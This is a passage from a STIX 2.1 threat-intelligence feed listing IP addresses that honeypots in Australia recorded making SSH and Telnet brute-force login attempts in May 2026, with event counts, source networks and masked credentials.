      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--ee5d766c-69ed-4af6-88f5-de655ceb7a56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.9.160.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--be80cae7-6ae8-4fb7-b2a0-809f203f4b97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328480. Organisation(s): TooMuchWifi.",
      "id": "indicator--e9328927-6e59-4950-ba68-49f11f770b7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.219.170.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 150683. Organisation(s): FASTTEL BROADBAND PRIVATE LIMITED.",
      "id": "indicator--b160b05f-0939-4fc1-90fc-9eb75760a9be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.174.5.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): u****u. Passwords observed (masked): l*****n.",
      "id": "indicator--872b8798-d504-422b-994b-03a0eb8c9d43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--c956f52a-e6b7-47ec-a72b-83e093affb60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.167.158.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9bafa1b0-939a-4757-b143-9710d4008399",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.122.88.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6671a5d7-436c-4b21-8356-b5ff4819dcb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.212.192.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--9d893149-ec6b-4c91-b334-8294f542f536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.48.91.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--397519b9-301a-417f-993c-1108ef248162",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.71.42.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): s**p. Passwords observed (masked): q****3.",
      "id": "indicator--9efb74f7-3937-418f-95c0-30e3a63641ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.101.59.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33387. Organisation(s): Nocix, LLC.",
      "id": "indicator--d2fe4b4a-9fc7-479d-82dd-855181f648b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.204.253.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t. Passwords observed (masked): !******x.",
      "id": "indicator--7207e8b3-9c78-41f6-849c-32232c175879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.170.168.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--f74002a1-4d2a-4072-a637-72dc27fbd66d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.195.25.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208570. Organisation(s): Spark for Information Technology Services Ltd.",
      "id": "indicator--9d11338a-9fc9-4d0b-b038-6137065cabbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.128.122.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--6b5f09de-0270-4ca5-a3ad-424d82706ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.68.103.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--db7d927a-4b0e-48fc-91c2-3c9f9a3a4d05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 21497. Organisation(s): PrJSC VF UKRAINE.",
      "id": "indicator--c048b34c-fb7d-42c2-bde6-bc547827af28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.52.17.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): u****u, r**t, f*****r, u**r, 3**********4. Passwords observed (masked): **, ***, 1****6, 1*****!, 1*****..",
      "id": "indicator--292026c4-025d-4712-afa0-78abb3bb0961",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8849. Organisation(s): Melbikomas UAB.",
      "id": "indicator--14602ac8-28fb-49fc-8f65-adc8671a7245",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.174.71.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:15:11.000Z",
      "valid_until": "2026-06-12T10:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--63c61427-5a5f-4028-8f9f-dd651b3be410",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.41.226.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--32198403-abc6-43ed-8ddd-eb62d9f43890",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 209. Organisation(s): CenturyLink Communications, LLC.",
      "id": "indicator--01adf905-e1fa-43b8-bb2a-32af2e73a8d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.23.243.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61568. Organisation(s): ALOO TELECOM - FSF TECNOLOGIA SA.",
      "id": "indicator--896b57f7-44bf-4f18-9529-d6ba959a8fc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.15.120.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--13f6e099-a74f-496e-bea3-9aec0361762a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--708a98be-2ff9-46de-83ff-b9e534a6a587",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--578581f3-6008-4d2d-b1f7-6b81f040619b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.12.150.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--6b57b974-65ce-40c1-9b01-0b33ce04a03d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--ae7922ce-bb6f-49f7-9bc6-13dabec75639",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.43.163.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 214094. Organisation(s): 'Association Osservatorio Nessuno ODV'. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--7e9b58af-da61-4c15-9fc3-0d41499a92be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.190.76.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--32bc39e4-6acf-42ea-a1eb-03c159679a7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--f95c6ff4-7a30-40ec-a957-251d842127f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.55.33.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:15:10.000Z",
      "valid_until": "2026-06-12T11:15:08.000Z"
    },
    {
      "created": "2026-05-11T12:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--edf347cb-28f9-4a4b-894d-aca783b280a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T12:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.96.48.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:15:06.000Z",
      "valid_until": "2026-06-12T12:15:03.000Z"
    },
    {
      "created": "2026-05-11T12:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): a***n. Passwords observed (masked): 1**4.",
      "id": "indicator--ced14811-0729-48f2-9e14-62dd4d5b2d64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T12:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.131.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:15:06.000Z",
      "valid_until": "2026-06-12T12:15:03.000Z"
    },
    {
      "created": "2026-05-11T12:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--baed383c-5812-4308-8559-8117fa2252ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T12:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.127.88.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:15:06.000Z",
      "valid_until": "2026-06-12T12:15:03.000Z"
    },
    {
      "created": "2026-05-11T12:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AF. ASN(s): 135298. Organisation(s): Ankabut Internet Service Provider.",
      "id": "indicator--ed95b237-85ea-44b2-b9db-ed239e050b58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T12:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.26.20.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:15:06.000Z",
      "valid_until": "2026-06-12T12:15:03.000Z"
    },
    {
      "created": "2026-05-11T12:15:06.000Z",
